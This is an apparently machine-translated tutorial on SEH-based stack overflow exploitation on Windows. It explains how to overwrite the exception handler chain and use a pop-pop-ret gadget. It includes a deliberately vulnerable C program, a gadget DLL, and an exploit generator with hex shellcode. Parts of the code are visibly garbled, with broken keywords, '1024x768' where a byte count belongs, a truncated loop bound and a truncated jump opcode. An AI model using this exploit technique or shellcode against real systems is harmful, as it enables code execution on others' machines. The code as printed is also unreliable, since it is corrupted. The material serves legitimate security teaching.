Stack Overflow Note 1.10 seh-based stack Overflow

The principle and logical structure of SEH are simply described in the previous section. In this section, you continue to describe the physical structure of SEH and how to use it for stack overflow.

First look at the physical structure of SEH. Recall in the previous section of Figure 51, we in the program stop in the Get function input time to view the SEH chain, see a lot of exception processor, and when we set breakpoints in the Get function Next statement, many of them are not, which gives us an intuitive feeling: The Seh chain is saved on the stack.

Next, let's look at the SEH chain on the stack. We are using EXAMPLE_10, a program that adds a own exception handling block (the compile time continues with the settings in the previous tutorial, which is to close the buffer security check). Still set the breakpoint in the GET function under a statement, because the program defines a buffer of 11 bytes, we enter 10 A, that is, no more than the buffer size, after the break, first look at the SEH chain:

Figure The SEH Chain

Look at the stack again:

Physical layout of the map

It is important to note that the location of the first exception handler, which is located between the local variable and the retained Eip, is the key position that gives it the value to use. It is important to note that this section focuses on Seh instead of the EIP stored on the stack (as mentioned in the previous section), and you will know why after you see the next section.

Now it's time to repeat our old tricks. We enter 28 A, overflow buffer size, look at the stack:

Fig. 60 The stack of input 28 a

To view the SEH chain at this time:

Figure 61 The Seh chain when entering 28 a

As you can see, the SEH chain has been destroyed by us, and the exception handlers and the next exception handler are rewritten as 0x41414141. But this is no use at this time, because this SEH chain will not be triggered at all, even if we overwrite the content of the first exception handler in the Seh chain, there will be no error, the program outputs 28 a, and then exits normally:

Figure 62

Recalling the contents of section 1.9, exception handling blocks are defined by programmers themselves, different types of exceptions handled in various applications, it is difficult to know what kind of exception the program handles, so it is very difficult to trigger the exception of the specified type, so that the SEH chain is called. So what's the way to trigger an exception? Let's look at a phenomenon, this time we do not enter 28 A, we enter many many a:

Figure 63

The program then appears with the following bullet box:

Figure 64

This means that the buffer overflows to a certain extent, it triggers the program's exception handling, the SEH chain is called, and its contents are overwritten with "AAAA".

Phenomenon we see, what is the definition of this anomaly? What types of errors are captured? And how did it get triggered? Let's take a look at the stack at this point:

Figure 65

Do you know the reason? At this point the entire stack is written for a, not only that, we also write a to the memory outside the stack, and because of the span of the stack, cross-border access occurs. All of this happens in the __try block of Example_10, where the cross-border access exception is captured, so there is a hint box above. Thus, the final summary is that by writing data to memory outside the stack range, an access out-of-bounds exception is raised.
Now, let's do it again. This time we enter 20 A + 8 B + many many a:

Figure 66

Program Tip exception:

Figure 67

Note that the address of the exception occurred, and compared with the exception address in Figure 63, for the first time we will overwrite the first exception handler in the Seh chain as "aaaaaaaa", this time we will overwrite it as "bbbbbbbb". Therefore, the exception occurrence address in the prompt box actually comes from the SEH chain. You know why? Remember the principle of verse 1.9? Review the process of exception handling, the system traverses the SEH chain, calls each of the exception handlers, to determine whether it can handle the exception, if not, then handed over to the next, continue to judge. Until the exception is handled. And since we changed the value of the exception handler through the stack overflow, the system tries to read the address of the exception handler (0x42424242), because this address is something that we casually give, the access is out of bounds, this is the origin of the information in the Exception prompt box.

Well, now we know how to modify the value of the exception handler in the Seh chain, and how to throw an exception to get the exception handler to be called. Now, we're going to use these things to do a little trick.

Remember how we hacked out of program example_2 in section 1.4 to let it execute our messagebox? We control the original program by letting the program execute the code we provide in a special way (a jmp ESP directive).

We have the EIP in front, but how much is the EIP modified? According to the intuitive idea, the EIP should be the address of the first instruction of our shellcode, but how much is this address? We don't know. However, let's look at the prototype of the exception handling function _except_handler:

Figure 68

There are several other parameters in section 1.9, but not the second parameter establisherframe, which is actually the first address of the current SEH chain, the address of the first _exception_registration_record structure in the SEH chain, That is, the address of the exception handler that we rewrote. When the exception handler is called, this parameter is located in the esp+8 position on the stack. This is not difficult to understand, this function is called __cdecl, then the stack is like this:

Figure 69

So, we just have to find a way to load the establisherframe into the EIP, we get a reliable address, starting from this address to execute our own code. How do I load establisherframe into an EIP? After the system has set the stack to look like Figure 68, we turn to the exception handler function to start execution, this function is given, we set to 0x42424242, the access is out of bounds, and now we want to set the exception handler address to a section of instructions, This instruction can load the establisherframe into the EIP, which is the famous "Pop pop RET" instruction block. With two times out of the stack, esp points to establisherframe, at which time the RET instruction executes the Establisherframe as the return address into the EIP.

Below, you can see the structure of the attack buffer:

Figure 70

First of all, the various parts, junk easy to understand, used to fill the original buffer, the first exception handler start address (cannot overwrite). The second part is the JMP directive, which is located in the next SEH member location of the first exception handler structure, why do I need it? Because the Pop+pop+ret executes and returns to the SEH start address, if there is no jump instruction, the order is executed, and the Pop+pop+ret executes, thus making an error, so the JMP directive is the function of skipping pop+pop+ret. Therefore, we need to skip 4 bytes, the operation code for short jump is EB, jump backwards four bytes to \xeb\x04. Because there is 4 bytes of space, the two NOP instructions are then populated. The shellcode part is the actual function load, which in addition to the opcode, but also to fill some characters, used to make the stack out of bounds, throw an exception.

Here's an example, because I'm going to use the Pop+pop+ret directive, so I'll start by building a DLL, as follows:

/*****************************************************************************/header file Example_13.h:__declspec (dllexport) void set_Pop_pop_RET (); source file example_13.cpp://example_13 dll containing pop+pop+ret directives#include "example_13.h"void set_pop_Pop_ret () {__asm    {push ESIPush EDIPop edipop esiret    }}/*****************************************************************************/

Then, the program used to demonstrate the stack overflow (for ease of input and debugging, I changed the previous gets to read the file):

/*****************************************************************************///Example_12 demonstration of SEH-based stack Overflow#include <Windows.h>#include <stdio.h>#include <string.h>#include "example_13.h"#pragma comment (lib, "Example_13.lib")void Get_print () {file* fp = fopen ("Code.txt", "RB");Char str[11];__try    {fread (str, 1, 1024x768, FP);printf ("%s\n", str);    }__except (Exception_execute_handler)    {        //    }fclose (FP);}int Main () {get_print ();Set_pop_pop_ret (); From Example_13.dllreturn 0;}/*****************************************************************************/

The following is a program that generates a file with Shellcode:

/*****************************************************************************///Example_11 Generating exploit files#Include <stdio.h>#Include <string.h>char junk[]= "AAAAAAAAAAAAAAAAAAAAAAAA"//Junk "\x90\x90\xeb\x"//JMP"\x50\x13\x01\x10 "; Pop+pop+retchar Shellcode[]= "\x55\x8B\xec\x33\XC0\x66\XB8\x6C\x64\x50\x68\x6F\x57\x6F\x72\x68\x48\x65\x6C\x6C\x6A\x31\x68\x70\x6C\x65\x5F "//Shellcode"\x68\x65\x78\x61\x6D\x66\XB8\x6C\x6C\x50\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8D\x5D\xdc\x53\XBB\x7B ""\x1D\x80\x7C\xff\xd3\x33\XC0\x50\x8D\x5D\xe8\x53\x8D\x5D\XF4\x53\x50\XBB\xea\x07\xd5\x77\xff\xd3 ""\x50\XBB\XFA\xca\x81\x7C\xff\xd3 "; int main (){file* f = fopen ("Code.txt", "WB");    Fwrite ((char*) junk, strlen (junk), 1, f);    Fwrite ((char*) Shellcode, strlen (Shellcode), 1, f); for (int i = 0; i <; i++){Fputs ("AAAA", f);}Fclose (f); return 0;}/*****************************************************************************/

Note that the "\x90\x90\xeb\x04", the NOP command placed in front and back jump length is not the same, if the NOP instruction in the back, it is not jump 4 bytes, but 6 bytes.

Figure 71

In addition, I use the Pop+pop+ret is I write the example_13.dll in, the instruction address is 0x10011350. As for why not use the system DLL, the next section you know, the following is the result of loading a file with Shellcode Example_12:

Figure 72

Note that my shellcode is in the previous section with a hard-coded address that you cannot use directly.

Stack Overflow Note 1.10 seh-based stack Overflow